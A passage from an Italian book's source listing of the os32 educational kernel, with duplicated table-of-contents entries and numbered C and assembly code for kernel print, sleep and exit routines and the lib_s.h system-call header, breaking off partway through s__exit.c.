119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198

119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254

119.7.2 kernel/lib_k/k_gets.c 7255

119.7.3 kernel/lib_k/k_perror.c 7255

119.7.4 kernel/lib_k/k_printf.c 7256

119.7.5 kernel/lib_k/k_sleep.c 7256

119.7.6 kernel/lib_k/k_stime.c 7257

119.7.7 kernel/lib_k/k_vprintf.c 7257

119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266

119.8.2 kernel/lib_s/s_brk.c 7269

119.8.3 kernel/lib_s/s_chdir.c 7275

119.8.4 kernel/lib_s/s_chmod.c 7276

119.8.5 kernel/lib_s/s_chown.c 7277

119.8.6 kernel/lib_s/s_clock.c 7278

119.8.7 kernel/lib_s/s_close.c 7278

119.8.8 kernel/lib_s/s_dup.c 7280

119.8.9 kernel/lib_s/s_dup2.c 7280

119.8.10 kernel/lib_s/s_fchmod.c 7281

119.8.11 kernel/lib_s/s_fchown.c 7282

119.8.12 kernel/lib_s/s_fcntl.c 7283

119.8.13 kernel/lib_s/s_fork.c 7285

119.8.14 kernel/lib_s/s_fstat.c 7291

119.8.15 kernel/lib_s/s_kill.c 7292

119.8.16 kernel/lib_s/s_link.c 7295

119.8.17 kernel/lib_s/s_longjmp.c 7296

119.8.18 kernel/lib_s/s_lseek.c 7297

119.8.19 kernel/lib_s/s_mkdir.c 7299

119.8.20 kernel/lib_s/s_mknod.c 7301

119.8.21 kernel/lib_s/s_mount.c 7303

119.8.22 kernel/lib_s/s_open.c 7304

119.8.23 kernel/lib_s/s_pipe.c 7310

119.8.24 kernel/lib_s/s_read.c 7312

119.8.25 kernel/lib_s/s_sbrk.c 7315

119.8.26 kernel/lib_s/s_setegid.c 7316

119.8.27 kernel/lib_s/s_seteuid.c 7317

119.8.28 kernel/lib_s/s_setgid.c 7317

119.8.29 kernel/lib_s/s_setjmp.c 7318

119.8.30 kernel/lib_s/s_setuid.c 7319

119.8.31 kernel/lib_s/s_signal.c 7320

119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399

119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.7.1 kernel/lib_k/k_exit.s

Si veda la sezione 118.8.

```
1330001 .global k_exit
1330002 #----------------------------------------------------------------------
1330003 .text
1330004 #----------------------------------------------------------------------
1330005 .align 4
1330006 k_exit:
1330007 halt:
1330008     hlt
1330009     jmp halt
```

119.7.2 kernel/lib_k/k_gets.c

Si veda la sezione 118.8.

```
1340001 #include <kernel/lib_k.h>
1340002 #include <kernel/driver/kbd.h>
1340003 //----------------------------------------------------------------------
1340004 char
1340005 *k_gets (char *s)
1340006 {
1340007     int i;
1340008     //
1340009     // Legge kbd.char.
1340010     //
1340011     for (i = 0; i < 256; i++)
1340012       {
1340013         while (kbd.key == 0)
1340014           {
1340015             //
1340016             // Attende un carattere.
1340017             //
1340018             ;
1340019           }
1340020         s[i] = kbd.key;
1340021         kbd.key = 0;
1340022         if (s[i] == '\n')
1340023           {
1340024             s[i] = 0;
1340025             break;
1340026           }
1340027       }
1340028     return s;
1340029 }
```

119.7.3 kernel/lib_k/k_perror.c

Si veda la sezione 118.8.

```
1350001 #include <kernel/lib_k.h>
1350002 #include <errno.h>
1350003 //----------------------------------------------------------------------
1350004 void
1350005 k_perror (const char *s)
1350006 {
1350007     //
1350008     // If errno is zero, there is nothing to show.
1350009     //
1350010     if (errno == 0)
1350011       {
1350012         return;
1350013       }
```

```
1350014     //
1350015     // Show the string if there is one.
1350016     //
1350017     if (s != NULL && strlen (s) > 0)
1350018       {
1350019         k_printf ("%s: ", s);
1350020       }
1350021     //
1350022     // Show the translated error.
1350023     //
1350024     if (errfn[0] != 0 && errln != 0)
1350025       {
1350026         k_printf ("[%s:%u:%i] %s\n",
1350027                   errfn, errln, errno, strerror (errno));
1350028       }
1350029     else
1350030       {
1350031         k_printf ("[%i] %s\n", errno, strerror (errno));
1350032       }
1350033 }
```

119.7.4 kernel/lib_k/k_printf.c

Si veda la sezione 118.8.

```
1360001 #include <stdarg.h>
1360002 #include <kernel/lib_k.h>
1360003 //----------------------------------------------------------------------
1360004 int
1360005 k_printf  (const char *restrict format, ...)
1360006 {
1360007     va_list ap;
1360008     va_start (ap, format);
1360009     return k_vprintf (format, ap);
1360010 }
```

119.7.5 kernel/lib_k/k_sleep.c

Si veda la sezione 118.8.

```
1370001 #include <kernel/lib_k.h>
1370002 #include <kernel/lib_s.h>
1370003 #include <kernel/proc.h>
1370004 //----------------------------------------------------------------------
1370005 void
1370006 k_sleep (clock_t time)
1370007 {
1370008     clock_t                time_start;
1370009     clock_t                time_now;
```

```
1370010     clock_t               time_elapsed;
1370011     unsigned long long int loops;
1370012     //
1370013     // Calculate how many times the following loop should
1370014     // be run to get the requested time.
1370015     //
1370016     loops = proc_loops_per_clock * time;
1370017     //
1370018     // Do a wasting time loop.
1370019     //
1370020     time_elapsed       = 0;
1370021     time_start         = s_clock ((pid_t) 0);
1370022     //
1370023     // If the function 's_clock()' can help, it will
1370024     // exit even if the loop is become slow, but the
1370025     // time was correctly accounted and is elapsed.
1370026     //
1370027     for (; time_elapsed < time && loops > 0; loops--)
1370028       {
1370029         time_now = s_clock ((pid_t) 0);
1370030         time_elapsed = time_now - time_start;
1370031       }
1370032 }
```

119.7.6 kernel/lib_k/k_stime.c

Si veda la sezione 118.8.

```
1380001 #include <kernel/lib_k.h>
1380002 //----------------------------------------------------------------------
1380003 extern clock_t  _clock_time;  // uint64_t
1380004 //----------------------------------------------------------------------
1380005 int
1380006 k_stime (time_t *timer)
1380007 {
1380008     _clock_time = (*timer * CLOCKS_PER_SEC);
1380009     return (0);
1380010 }
```

119.7.7 kernel/lib_k/k_vprintf.c

Si veda la sezione 118.8.

```
1390001 #include <kernel/lib_k.h>
1390002 #include <stdio.h>
1390003 #include <kernel/dev.h>
1390004 //----------------------------------------------------------------------
1390005 int
1390006 k_vprintf (const char *restrict format, va_list arg)
```

```
1390007 {
1390008     size_t size = BUFSIZ;
1390009     char   string[BUFSIZ];
1390010     int    status;
1390011     //
1390012     // At the moment, set 'string' to be a null string.
1390013     //
1390014     string[0] = 0;
1390015     //
1390016     // Get the string, that must be limited to 'size'
1390017     // bytes.
1390018     //
1390019     status = vsnprintf (string, size, format, arg);
1390020     //
1390021     //
1390022     //
1390023     if (status < 0)
1390024       {
1390025         //
1390026         // Variable 'errno' is not updated.
1390027         //
1390028         return (status);
1390029       }
1390030     //
1390031     // Get size.
1390032     //
1390033     size = status;
1390034     //
1390035     // Write to the first console.
1390036     //
1390037     dev_io ((pid_t) 0, DEV_CONSOLE0, DEV_WRITE, (off_t) 0,
1390038             string, size, NULL);
1390039     //
1390040     // Return the same value obtained from 'vsnprintf()'
1390041     //
1390042     return status;
1390043 }
```

119.7.8 kernel/lib_k/k_vsprintf.c

Si veda la sezione 118.8.

```
1400001 #include <stdarg.h>
1400002 #include <kernel/lib_k.h>
1400003 #include <stdio.h>
1400004 //----------------------------------------------------------------------
1400005 int
1400006 k_vsprintf (char *restrict string, const char *restrict format,
1400007             va_list arg)
1400008 {
1400009     int status;
```

```
1400010      status = vsnprintf (string, BUFSIZ, format, arg);
1400011      return status;
1400012  }
```

119.8 os32: «kernel/lib_s.h»

Si veda la sezione 118.9.

```
1410001  #ifndef _KERNEL_LIB_S_H
1410002  #define _KERNEL_LIB_S_H  1
1410003  //----------------------------------------------------------------------
1410004  #include <sys/types.h>
1410005  #include <sys/stat.h>
1410006  #include <kernel/fs.h>
1410007  #include <sys/os32.h>
1410008  #include <stddef.h>
1410009  #include <stdint.h>
1410010  #include <time.h>
1410011  #include <termios.h>
1410012  #include <setjmp.h>
1410013  //----------------------------------------------------------------------
1410014  void          s__exit     (pid_t pid, int status);
1410015  int           s_brk       (pid_t pid, void *address);
1410016  void         *s_sbrk      (pid_t pid, intptr_t increment);
1410017  pid_t         s_fork      (pid_t ppid);
1410018  int           s_kill      (pid_t pid_killer, pid_t pid_target, int sig);
1410019  void          s_longjmp   (pid_t pid, jmp_buf env, int val);
1410020  int           s_seteuid   (pid_t pid, uid_t euid);
1410021  int           s_setjmp    (pid_t pid, jmp_buf env);
1410022  int           s_setuid    (pid_t pid, uid_t uid);
1410023  int           s_setegid   (pid_t pid, gid_t egid);
1410024  int           s_setgid    (pid_t pid, gid_t gid);
1410025  pid_t         s_wait      (pid_t pid, int *status);
1410026  sighandler_t s_signal     (pid_t pid, int sig, sighandler_t handler,
1410027                            uintptr_t wrapper);
1410028  //----------------------------------------------------------------------
1410029  int           s_chdir     (pid_t pid, const char *path);
1410030  int           s_chmod     (pid_t pid, const char *path, mode_t mode);
1410031  int           s_chown     (pid_t pid, const char *path, uid_t uid,
1410032                            gid_t gid);
1410033  int           s_link      (pid_t pid, const char *path_old,
1410034                            const char *path_new);
1410035  int           s_mkdir     (pid_t pid, const char *path, mode_t mode);
1410036  int           s_mknod     (pid_t pid, const char *path, mode_t mode,
1410037                            dev_t device);
1410038  int           s_open      (pid_t pid, const char *path, int oflags,
1410039                            mode_t mode);
1410040  int           s_stat      (pid_t pid, const char *path,
1410041                            struct stat *buffer);
1410042  int           s_unlink    (pid_t pid, const char *path);
1410043  //
```

```
1410044 int           s_pipe      (pid_t pid, int pipefd[2]);
1410045 //
1410046 int           s_close     (pid_t pid, int fdn);
1410047 int           s_dup       (pid_t pid, int fdn_old);
1410048 int           s_dup2      (pid_t pid, int fdn_old, int fdn_new);
1410049 int           s_fchmod    (pid_t pid, int fdn, mode_t mode);
1410050 int           s_fchown    (pid_t pid, int fdn, uid_t uid, gid_t gid);
1410051 int           s_fcntl     (pid_t pid, int fdn, int cmd, int arg);
1410052 int           s_fstat     (pid_t pid, int fdn, struct stat *buffer);
1410053 off_t         s_lseek     (pid_t pid, int fdn, off_t offset, int whence);
1410054 ssize_t       s_read      (pid_t pid, int fdn, void *buffer,
1410055                             size_t count, int *eof);
1410056 ssize_t       s_write     (pid_t pid, int fdn, void *buffer,
1410057                             size_t count);
1410058 //
1410059 int           s_mount     (pid_t pid, const char *path_dev,
1410060                             const char *path_mnt, int options);
1410061 int           s_umount    (pid_t pid, const char *path_mnt);
1410062 //----------------------------------------------------------------------
1410063 int           s_tcgetattr (pid_t pid, int fdn,
1410064                             struct termios *termios_p);
1410065 int           s_tcsetattr (pid_t pid, int fdn, int action,
1410066                             struct termios *termios_p);
1410067 //----------------------------------------------------------------------
1410068 clock_t       s_clock     (pid_t pid);                  //    [p]
1410069 time_t        s_time      (pid_t pid, time_t *timer);   //    [p]
1410070 int           s_stime     (pid_t pid, time_t *timer);
1410071 //
1410072 // [p] The PID information, here, is not used. The argument is required
1410073 //     only for syntax coherence with other functions, that do
1410074 //     system calls, inside the kernel.
1410075 //
1410076 //----------------------------------------------------------------------
1410077 #endif
```


119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052

119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111

119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180

119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245

119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310

119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.8.1 kernel/lib_s/s__exit.c

Si veda la sezione 112.2.

```
1420001 #include <kernel/proc.h>
1420002 #include <kernel/lib_k.h>
1420003 #include <kernel/lib_s.h>
1420004 //----------------------------------------------------------------------
1420005 void
1420006 s__exit (pid_t pid, int status)
1420007 {
```

```
1420008     pid_t           child;
1420009     pid_t           parent = proc_table[pid].ppid;
1420010     int             proc_count;
1420011     pid_t           extra;
1420012     int             sigchld = 0;
1420013     int             fdn;
1420014     tty_t          *tty;
1420015     //
1420016     proc_table[pid].status = PROC_ZOMBIE;
1420017     proc_table[pid].ret = status;
1420018     proc_table[pid].sig_status = 0;
1420019     proc_table[pid].sig_ignore = 0;
1420020     //
1420021     // Close files.
1420022     //
1420023     for (fdn = 0; fdn < OPEN_MAX; fdn++)
1420024       {
1420025         s_close (pid, fdn);
1420026       }
1420027     //
1420028     // Close current directory.
1420029     //
1420030     inode_put (proc_table[pid].inode_cwd);
1420031     //
1420032     // Close the controlling terminal, if it is a process leader with
1420033     // such a terminal.
1420034     //
1420035     if (proc_table[pid].pgrp == pid && proc_table[pid].device_tty != 0)
1420036       {
1420037         tty = tty_reference (proc_table[pid].device_tty);
1420038         //
1420039         // Verify.
1420040         //
1420041         if (tty == NULL)
1420042           {
1420043             //
1420044             // Show a kernel message.
1420045             //
1420046             k_printf ("kernel alert: cannot find the terminal item "
1420047                       "for device 0x%04x!\n",
1420048                       (int) proc_table[pid].device_tty);
1420049           }
1420050         else if (tty->pgrp != pid)
1420051           {
1420052             //
1420053             // Show a kernel message.
1420054             //
1420055             k_printf ("kernel alert: terminal device 0x%04x should "
1420056                       "be associated to the process group %i, but it "
1420057                       "is instead related to process group %i!\n",
1420058                       (int) proc_table[pid].device_tty, (int) pid,
1420059                       (int) tty->pgrp);
```

```
1420060            }
1420061          else
1420062            {
1420063              tty->pgrp = 0;
1420064            }
1420065        }
1420066      //
